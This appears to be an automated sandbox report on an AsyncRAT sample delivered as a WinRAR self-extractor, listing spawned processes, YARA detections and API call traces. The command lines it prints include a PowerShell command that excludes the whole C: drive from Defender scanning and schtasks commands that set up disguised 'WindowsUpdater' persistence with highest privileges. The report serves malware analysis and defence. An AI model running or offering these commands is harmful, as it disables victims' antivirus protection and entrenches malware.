INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:11:57
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell Add-MpPreference -ExclusionPath C:\
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:11:57
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:11:57
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell Add-MpPreference -ExclusionPath C:\
Imagebase:	0x170000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:12:01
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"' & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:12:01
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:12:01
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpE75F.tmp.bat""
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:12:01
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:12:01
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"'
Imagebase:	0x2e0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:12:01
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 3
Imagebase:	0x620000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:12:03
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Roaming\Explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Explorer.exe
Imagebase:	0x7a0000
File size:	67'584 bytes
MD5 hash:	3D91C31A52BE4E262F7F18272294ED99
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000010.00000002.4490902100.0000000002B05000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Roaming\Explorer.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\Explorer.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: C:\Users\user\AppData\Roaming\Explorer.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	08:12:04
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Roaming\Explorer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Explorer.exe"
Imagebase:	0xfe0000
File size:	67'584 bytes
MD5 hash:	3D91C31A52BE4E262F7F18272294ED99
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:12:08
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdate" /tr "C:\Users\user\AppData\Local\explore.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:12:08
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:12:08
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:12:08
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:12:08
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdate" /tr "C:\Users\user\AppData\Local\explore.exe"
Imagebase:	0x2e0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	08:12:08
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\"
Imagebase:	0x2e0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:12:09
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\explore.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\explore.exe
Imagebase:	0xcf0000
File size:	67'584 bytes
MD5 hash:	3D91C31A52BE4E262F7F18272294ED99
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\explore.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\explore.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: C:\Users\user\AppData\Local\explore.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:12:09
Start date:	09/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C powershell Add-MpPreference -ExclusionPath C:"
Imagebase:	0x7ff78f3a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:12:09
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:12:10
Start date:	09/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Add-MpPreference -ExclusionPath C:"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10%
Total number of Nodes:	1575
Total number of Limit Nodes:	43

Executed Functions

Function 00CBDF1E Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 195
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CB0863: GetModuleHandleW.KERNEL32(kernel32), ref: 00CB087C
Part of subcall function 00CB0863: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00CB088E
Part of subcall function 00CB0863: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00CB08BF

Part of subcall function 00CBA64D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00CBA655

Part of subcall function 00CBAC16: OleInitialize.OLE32(00000000), ref: 00CBAC2F
Part of subcall function 00CBAC16: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00CBAC66
Part of subcall function 00CBAC16: SHGetMalloc.SHELL32(00CE8438), ref: 00CBAC70

GetCommandLineW.KERNEL32 ref: 00CBDF5C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00CBDF83
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00CBDF94
UnmapViewOfFile.KERNEL32(00000000), ref: 00CBDFCE

Part of subcall function 00CBDBDE: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00CBDBF4
Part of subcall function 00CBDBDE: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00CBDC30

CloseHandle.KERNEL32(00000000), ref: 00CBDFD7
GetModuleFileNameW.KERNEL32(00000000,00CFEC90,00000800), ref: 00CBDFF2
SetEnvironmentVariableW.KERNEL32(sfxname,00CFEC90), ref: 00CBDFFE
GetLocalTime.KERNEL32(?), ref: 00CBE009
_swprintf.LIBCMT ref: 00CBE048
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00CBE05A
GetModuleHandleW.KERNEL32(00000000), ref: 00CBE061
LoadIconW.USER32(00000000,00000064), ref: 00CBE078
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 00CBE0C9
Sleep.KERNELBASE(?), ref: 00CBE0F7
DeleteObject.GDI32 ref: 00CBE130
DeleteObject.GDI32(?), ref: 00CBE140
CloseHandle.KERNEL32 ref: 00CBE183

Strings

winrarsfxmappingfile.tmp, xrefs: 00CBDF77
sfxname, xrefs: 00CBDFF9
STARTDLG, xrefs: 00CBE0BE
sfxstime, xrefs: 00CBE055
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00CBE039
C:\Users\user\Desktop, xrefs: 00CBDF33

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3049964643-2656992072
Opcode ID: 85f4a0330fb5174cb7a119a08879557515ce822e7952d8cc6e57ea827cd68bd6
Instruction ID: 87db6cdba0d8ed761fca349c12857a474e2bf67903ce721f010d1d2e961c6fbc
Opcode Fuzzy Hash: 85f4a0330fb5174cb7a119a08879557515ce822e7952d8cc6e57ea827cd68bd6
Instruction Fuzzy Hash: 3C610671505385AFD320AFB5EC89FBF37ACEB45700F04042AF946962A2DB789E44D762

Function 00CBA6C2 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00CBB73D,00000066), ref: 00CBA6D5
SizeofResource.KERNEL32(00000000,?,?,?,00CBB73D,00000066), ref: 00CBA6EC
LoadResource.KERNEL32(00000000,?,?,?,00CBB73D,00000066), ref: 00CBA703
LockResource.KERNEL32(00000000,?,?,?,00CBB73D,00000066), ref: 00CBA712
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00CBB73D,00000066), ref: 00CBA72D
GlobalLock.KERNEL32(00000000), ref: 00CBA73E
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00CBA762
GlobalUnlock.KERNEL32(00000000), ref: 00CBA7C6

Part of subcall function 00CBA626: GdipAlloc.GDIPLUS(00000010), ref: 00CBA62C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00CBA7A7
GlobalFree.KERNEL32(00000000), ref: 00CBA7CD

Strings

PNG, xrefs: 00CBA6C6

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
String ID: PNG
API String ID: 211097158-364855578
Opcode ID: a0373fe29b495eb56bbeffc1de5d170a65f168aa447ef7dcc78face7ca66a916
Instruction ID: 5b0a298e01830bf7947d0bb3c3cf93b6742cfc1ab03abbf7f4e5508ad63cdd72
Opcode Fuzzy Hash: a0373fe29b495eb56bbeffc1de5d170a65f168aa447ef7dcc78face7ca66a916
Instruction Fuzzy Hash: FF31B1B5605352AFC7109F61EC88F5FBBB8EF84750F04052AF895A2221EF31DD44DAA2

Function 00CAA69B Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00CAA592,000000FF,?,?), ref: 00CAA6C4

Part of subcall function 00CABB03: _wcslen.LIBCMT ref: 00CABB27

FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,00CAA592,000000FF,?,?), ref: 00CAA6F2
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00CAA592,000000FF,?,?), ref: 00CAA6FE
FindNextFileW.KERNEL32(?,?,?,?,?,?,00CAA592,000000FF,?,?), ref: 00CAA728
GetLastError.KERNEL32(?,?,?,?,00CAA592,000000FF,?,?), ref: 00CAA734

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: a40ca5b5e1c166be91db8245beeed0b6c0b28b41296915de75eeb4a039ba72a5
Instruction ID: 061d1d20a3d1d9b19154c178986287fcddf59f7c23872170e6ee96712057e01e
Opcode Fuzzy Hash: a40ca5b5e1c166be91db8245beeed0b6c0b28b41296915de75eeb4a039ba72a5
Instruction Fuzzy Hash: 0A41CE72900516ABCB25DF68CC88BEEB7B8FB49350F004196F969E3210D7346E94CF91

Function 00CC7DEE Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00CC7DC4,?,00CDC300,0000000C,00CC7F1B,?,00000002,00000000), ref: 00CC7E0F
TerminateProcess.KERNEL32(00000000,?,00CC7DC4,?,00CDC300,0000000C,00CC7F1B,?,00000002,00000000), ref: 00CC7E16
ExitProcess.KERNEL32 ref: 00CC7E28

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 78f024125259ac2491d7fa47ed17173bd1253d1b7a5dca8a0a1cca79eff5b849
Instruction ID: 5964a7dbf308e2252afbd4d442ae67ad4398d57d0bab2fad6ecaff0cd394d3b9
Opcode Fuzzy Hash: 78f024125259ac2491d7fa47ed17173bd1253d1b7a5dca8a0a1cca79eff5b849
Instruction Fuzzy Hash: 74E0B632005188AFCF116F64DD0AF4E7F6AEB50341F04455DF819AA172CB3AEE92DA91

Function 00CA848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CA8493

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 407274834f907fc64fa113d5c879b9ac67be0379a819f2248b8d975872bfc601
Instruction ID: 9531fe5b9fd9112753c3a96558579ea770b07dc488426c470a08c3315f07bdef
Opcode Fuzzy Hash: 407274834f907fc64fa113d5c879b9ac67be0379a819f2248b8d975872bfc601
Instruction Fuzzy Hash: D182FA70904147AFDF15DB64C895BFABBB9AF07308F0841B9E8599B182DB315B8CDB60

Function 00CB6CDC Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 054ed9539275ed83360fa25c9ed9e500a6e3e0781de40cab2b09193211a250c3
Instruction ID: 42e090eeca56ea9b1bf065a764409b1d92f5c0989c47bc9ad27d22fbf2129962
Opcode Fuzzy Hash: 054ed9539275ed83360fa25c9ed9e500a6e3e0781de40cab2b09193211a250c3
Instruction Fuzzy Hash: 0DD1C6716083818FDB14DF28D94479BBBE1BF89308F08456DEC999B342D778EA05CB56

Function 00CBB7E0 Relevance: 104.0, APIs: 49, Strings: 10, Instructions: 731windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CBB7E5

Part of subcall function 00CA1316: GetDlgItem.USER32(00000000,00003021), ref: 00CA135A
Part of subcall function 00CA1316: SetWindowTextW.USER32(00000000,00CD35F4), ref: 00CA1370

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00CBB8D1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CBB8EF
IsDialogMessageW.USER32(?,?), ref: 00CBB902
TranslateMessage.USER32(?), ref: 00CBB910
DispatchMessageW.USER32(?), ref: 00CBB91A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 00CBB93D
EndDialog.USER32(?,00000001), ref: 00CBB960
GetDlgItem.USER32(?,00000068), ref: 00CBB983
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00CBB99E
SendMessageW.USER32(00000000,000000C2,00000000,00CD35F4), ref: 00CBB9B1

Part of subcall function 00CBD453: _wcslen.LIBCMT ref: 00CBD47D

SetFocus.USER32(00000000), ref: 00CBB9B8
_swprintf.LIBCMT ref: 00CBBA24

Part of subcall function 00CA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CA40A5

Part of subcall function 00CBD4D4: GetDlgItem.USER32(00000068,00CFFCB8), ref: 00CBD4E8
Part of subcall function 00CBD4D4: ShowWindow.USER32(00000000,00000005,?,?,?,00CBAF07,00000001,?,?,00CBB7B9,00CD506C,00CFFCB8,00CFFCB8,00001000,00000000,00000000), ref: 00CBD510
Part of subcall function 00CBD4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00CBD51B
Part of subcall function 00CBD4D4: SendMessageW.USER32(00000000,000000C2,00000000,00CD35F4), ref: 00CBD529
Part of subcall function 00CBD4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00CBD53F
Part of subcall function 00CBD4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00CBD559
Part of subcall function 00CBD4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00CBD59D
Part of subcall function 00CBD4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00CBD5AB
Part of subcall function 00CBD4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00CBD5BA
Part of subcall function 00CBD4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00CBD5E1
Part of subcall function 00CBD4D4: SendMessageW.USER32(00000000,000000C2,00000000,00CD43F4), ref: 00CBD5F0

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00CBBA68
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 00CBBA90
GetTickCount.KERNEL32 ref: 00CBBAAE
_swprintf.LIBCMT ref: 00CBBAC2
GetLastError.KERNEL32(?,00000011), ref: 00CBBAF4
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 00CBBB43
_swprintf.LIBCMT ref: 00CBBB7C
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007104,winrarsfxmappingfile.tmp), ref: 00CBBBD0
GetCommandLineW.KERNEL32 ref: 00CBBBEA
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?), ref: 00CBBC47
ShellExecuteExW.SHELL32(0000003C), ref: 00CBBC6F
WaitForInputIdle.USER32(?,00002710), ref: 00CBBCA5
Sleep.KERNEL32(00000064), ref: 00CBBCB9
UnmapViewOfFile.KERNEL32(?,?,0000430C,?,00000080), ref: 00CBBCE2
CloseHandle.KERNEL32(00000000), ref: 00CBBCEB
_swprintf.LIBCMT ref: 00CBBD1E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00CBBD7D
SetDlgItemTextW.USER32(?,00000065,00CD35F4), ref: 00CBBD94
GetDlgItem.USER32(?,00000065), ref: 00CBBD9D
